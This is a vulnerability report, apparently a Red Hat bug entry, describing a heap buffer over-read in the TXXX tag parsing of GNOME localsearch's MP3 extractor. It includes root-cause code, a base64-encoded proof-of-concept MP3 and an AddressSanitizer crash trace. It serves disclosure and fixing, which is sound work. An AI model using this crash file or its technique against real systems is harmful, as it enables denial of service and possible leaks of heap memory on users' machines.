REDHAT-BUG-2435981: Buffer Overflow

Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor (TXXX Tags) Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)

Description A heap buffer overflow vulnerability exists in the extracttxxxtags function of src/extractor/tracker-extract-mp3.c. This function handles User Defined Text Information Frames (TXXX). When parsing these frames, the code calculates an offset based on the description string length but fails to verify if this offset exceeds the total frame size (csize) before using it to calculate the remaining buffer size for the text value.

Root Cause Analysis The vulnerability occurs due to a missing bounds check:

// src/extractor/tracker-extract-mp3.c:1487 textdesclen = id3v2strlen (textencode, textdesc, csize - 4); offset = 4 + textdesclen + id3v2nulsize (textencode);

// VULNERABILITY: No check if offset >= csize

text = &data[pos + offset]; // data pointer advanced

if (version == 2.4f) { // Underflow happens here: // If offset > csize, (csize - offset) wraps around to a huge value (unsigned subtraction). // This huge value is passed as the length to id3v24texttoutf8/gconvert. value = id3v24texttoutf8 (textencode, text, csize - offset, info); }

This leads to gconvert receiving a very large length (or -1 if interpreted as signed), causing it to read out of bounds from the heap.

Impact

Denial of Service: Reading unmapped memory causes a SIGSEGV.

Information Disclosure: Potentially reads sensitive data from the heap if a null byte is found far away.

PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: 2a98a39a6ee191ac5492aff97c407f1023005243

base64 -d <<EOF > reproductiontxxx.mp3 SUQzBAAAAAARUVRJVDIAAAARAAADU2ltcGx5IEp1dmVuaWxlAFRQRTEAAAAIAAADQWJCYWJ5AFRSQ0sAAAAEAAAAMTMAVEFMQgAAAAgAAANTaW5Db3MAVERSQwAAAAYAAAMyMDA4AFRDT04AAAAFAAADUG9wAFRDT00AAAAEAAADQWIAVENPUAAAAAYAAANub25lAFRYWFgAAAAdAAADQWNvdXN0aWQgRmluZ2VycHJpbnQAMTExMjIyAFRYWFgAAAAdTQMAWFgASSBhbSBmb3Igc2ltcGxlIE1QMyB0ZXN0aW5nAFRYWFgAAAAlAAADTXVzaWNCcmFpbnogUmVsZWFzZSBHcm91cCBJZAA1NjEyMzQAVFhYWAAAACUAAANNdXNpY0JyYWlueiBSZWxlYXNlIFRyYWNrIElkADEyMzQ1NgBDT01NAAAAPQAAA2VuZwBJIGFtIGZvciBzaW1wbGUgTVAzIHRlc3RpbmcASSBhbSBmb3Igc2ltcGxlIE1QMyB0ZXN0aW5nAENPTU0AAABAAAADZW5nWFhYAEkgYW0gZm9yIHNpbXBsZSBNUDMgdGVzdGluZwBJIGFtIGZvciBzaW1wbGUgTVAzIHRlc3RpbmcAQ09NTQAAAEIAAAFYWFj//gAA//5JACAAYQBtACAAZgBvAHIAIABzAGkAbQBwAGwAZQAgAE0AUAAzAAAAAOEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACKEA1BmPR2pqTDMRuFEQxhtSgmKnVZgZIx+5taLl7UmXtO6qnaE1Ym6l9FWoAAp4AEZI//NAxKgUAWrQAApMEFbT7WQhYCpuE7OWKBuDMtsKtYlzpBAwNsER2fGL2c0wgLaiQa5KsdQbEJeofgyE3HyoKCHNLVchoLfMvaHj6l1LRj5AqVY6wx7EKvEmGKMpeBCHguRhODd9tMT/80LEsxQJPtHmSMZwstq0MD7/N+0lEFAgSE2ArZKsETOnaTGgBQsAAAAAAABM06LIEXladrvaeVI0XHd9C2RNzpl7yc0r/X+U0U9c515yuW7mnhBBnK93/Myhbv1333MnDp8PgD+GPMbqkABPGsPJiv/zQMS+FElK0eZIRkhgylcueJIkEorR2RJDxhyYEEpEn3TxJElEMwMAAAAADmdUSVQyAAAABgAAAHRpdGxlUFBFMQAAAAcAAABhcnRpc3RUUEU0AAAADQAAAGFsYnVtIGFydGlzdFRBTEIAAAAGAAAAYWxidW1UUE9TAAAAAwAAADAxVFJDSwAAAAYAAAAwMS8wMkNPTU0AAAAMAAAAAAAAAGNvbW1lbnRUQ09NAHdKVlROy9IGJpLtCoPfelzaKRW1Lp8OgLPOZMfYxA8SYLI1UyhEh5kT5Fmcm5c8xKYXuagVE7wKDojMlp5YdRSB6DgU//NCxMcZEs7eFmBGrWy6DOuGKsGAc0oDNLWhQZkqRwAIKFsuegN69UakNc4pq9DvKwgUeiOZ3xJgDncF31NhxxbR6AOBg9EpgxIHOcWdQhQiKqHSVhGLVCHmqLlbdxYV7oBBgYteBFnH//NAxL4Z0frVRmGGnOJpJUhEaGHEvaoKPErD75EPl7Mm0QkhHSLHboNQE4SMSVnE4IxQqBBjQQWFz4UCAgYD6Lj9C6morfhdrzoT0gWvc5pwonFSG5eBl+KQkFDCYndOAAAJAAAAY29tcG9zZXJUT1BFAAAAEAAAAG9yadlpbmFsIGFydGlzdFRDT1AAAAAKAAAAY29weXJpZ2h0V1hYWAAAABQAaAB0AAB0cDovL2V4YW1wbGUuY29tVEVOQwAAAAgAAABlbmNvZGVySVBMUwAAAkEAAElEMwQAAAAAEVFVVVVVVElUMgAAABEAAANTaW1wbHkgSnV2ZW5pbGUAVFBUWUVSRTEAAAAIAAADQWJCYWJ5AFRSQ0sAAAAEAAAAMTMAVEFMQgAAAAgAAANTaW5Db3MAVERSQwAAAAYAAAMyMDA4AFRDT04AAAAFAAADUG9wAFRDT00AAAAEAAADQWIAVENPUAAAAAYAAAM2GA1SD5Djgz+j0WPAGhOA1San+VxbHKRtYBqV0f945qKEakhEJfVkpuGtFs2+zsrBYy4d0Lumzv/zQsTQFFq23FZ6RC1QQxWw+DDIYqVq9EOFElVCqeg5SllNz+WWq9VIj/sjJ/1OW9fwYVrS9FDu9vhpAIBGn+nGCTnhri+MmjNV6jKa8WNHXNuaj9y5G93tqnTcN3/96UNPveUMESbUd53lHtnr7Xrdfpf8s9JUQy3xqMIq3QBO1mLlj0ydQzl5piEuuBtx0P/zQsSxE4FS0AAKRgzE/+YUapTfajc3zidUV9UanaXkkZWeeKocgoYlQg5Gw4YVbFcpe9veaankuDgGEk6myL/FQsReAAADSAHAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqJKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo2hTaTKzdiiW86tLUEVC//80LE5h1CRtlGeYcRX0QQm9FH8O2t65mfs3cnCeShvVV/s+oqrbOZDFQrq5fVii06kou33E7z+38IbKMAVRGaCAO3KCxYSiRVB0iSDkvIN+7JtjTo3X0U87xk82igEM//80LE7FVURi04GDrS1A55hJzTax9SRmzcw0OBik/XcubEYoiLgs0hTLP9NfOze/zy5r8L77MoStyvNbO36JUCAZWgjA9M/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+R04ZLCMvSmX4KPa6L/v3adtSV5oiJaGxoKSumjZUTu/og6mRhpdDv/80DE5xb60uWWeUZcDajWoWjSKiCxkV0tzEflKj8+2rKknbtoK9yj0X7szJZxM+y4RYyIkicFMXNxLJcqBVtrpx1I24RJ4jsS+zexZlEMv99CWdHCuv/a3RGEt/6WzIBHmdjstNfqvBL/80LEiRR68tSmeYQstzvMk9aMR7qCJ9TI6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFREUkwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAEAAAGkAAAggDQAAAAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVMQU1FMy4xMDBVVVVVVVVVVVVVVVVVVVVVVVVVVVVV//sUZB4P8AAAaQAAAAgAAA0gAAABAAABpAAAACAAADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVMQZz6SLQQxzyqZ226UVtAVku0xdntm16s26UGDs1abq6RR35WiVfab/hPIe9tLlIQCk5hodIC4oJi+z42jAWXlZ1HcwG3qK+YdlVVVfr6jn//80LEchRVcl72H1XLEAFydcIb797DzGVNlhWa1qLTDa92dTFdwW/8lbrtf6qqqqqqqqqqqqqqqqqqqqqqqqqq//NAxLoAAAP658uX4rIjhKdiAGBw+x2m7oNOz9aqzC4YBxs/7V20v3M6mE2DPE/3g0DjyafrOZp/vi7638uh/0DN7fRVZ/T43/s6J/RwZ1V6RXzUHr3NFUWVCE8MWX6PiyVKfYTjxYf9Shj/80LEXhMafuC2WYRYQvW7SAAAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqVEFHU2ltcGx5IEp1dmVuaWxlAAAAAAAAAAAAAAAAAAAAQWJCYWJ5AAAAAAAAAAAAAAAAAABNRTMuMTAn8TAAAAAAAAAAAAAAU2luQ29zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMjAwOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQ0= EOF

Crash Log

localsearch git:(main) ✗ ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file crash-2a98a39a6ee191ac5492aff97c407f1023005243

(process:1778275): Tracker-WARNING : 20:15:26.571: No seccomp support compiled-in. ================================================================= ==1778275==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50300000aace at pc 0x769ee387d96f bp 0x7ffe245e75a0 sp 0x7ffe245e6d48 READ of size 1 at 0x50300000aace thread T0 #0 0x769ee387d96e in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:391 #1 0x769ee3fbfc57 in gconvertwithiconv (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39c57) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x769ee3fbff81 in gconvert (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39f81) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #3 0x769ee27ded14 in converttoencoding ../src/extractor/tracker-extract-mp3.c:837 #4 0x769ee27e1308 in id3v24texttoutf8 ../src/extractor/tracker-extract-mp3.c:1261 #5 0x769ee27e22d9 in extracttxxxtags ../src/extractor/tracker-extract-mp3.c:1492 #6 0x769ee27e2f83 in getid3v24tags ../src/extractor/tracker-extract-mp3.c:1635 #7 0x769ee27e602e in parseid3v24 ../src/extractor/tracker-extract-mp3.c:2286 #8 0x769ee27e75cd in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2615 #9 0x769ee27e7bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #10 0x5ff36cac1d28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #11 0x5ff36cac3a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #12 0x5ff36cac7f2d in runstandalone ../src/extractor/tracker-main.c:218 #13 0x5ff36cac8aa7 in domain ../src/extractor/tracker-main.c:370 #14 0x5ff36cac9475 in main ../src/extractor/tracker-main.c:469 #15 0x769ee2e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #16 0x769ee2e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #17 0x5ff36cab9684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)

0x50300000aace is located 1 bytes after 29-byte region [0x50300000aab0,0x50300000aacd) allocated by thread T0 here: #0 0x769ee38fd340 in calloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:77 #1 0x769ee3fe9721 in gmalloc0 (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x63721) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x769ee27de7f9 in ununsync ../src/extractor/tracker-extract-mp3.c:767 #3 0x769ee27e5fb2 in parseid3v24 ../src/extractor/tracker-extract-mp3.c:2285 #4 0x769ee27e75cd in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2615 #5 0x769ee27e7bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #6 0x5ff36cac1d28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #7 0x5ff36cac3a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #8 0x5ff36cac7f2d in runstandalone ../src/extractor/tracker-main.c:218 #9 0x5ff36cac8aa7 in domain ../src/extractor/tracker-main.c:370 #10 0x5ff36cac9475 in main ../src/extractor/tracker-main.c:469 #11 0x769ee2e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #12 0x769ee2e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #13 0x5ff36cab9684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:391 in strlen Shadow bytes around the buggy address: 0x50300000a800: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x50300000a880: fd fd fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x50300000a900: fd fd fd fd fa fa fd fd fd fd fa fa 00 00 05 fa 0x50300000a980: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x50300000aa00: fd fd fa fa fd fd fd fd fa fa fd fd fd fa fa fa =>0x50300000aa80: fd fd fd fd fa fa 00 00 00[05]fa fa 00 00 00 00 0x50300000ab00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ab80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ac00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ac80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ad00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb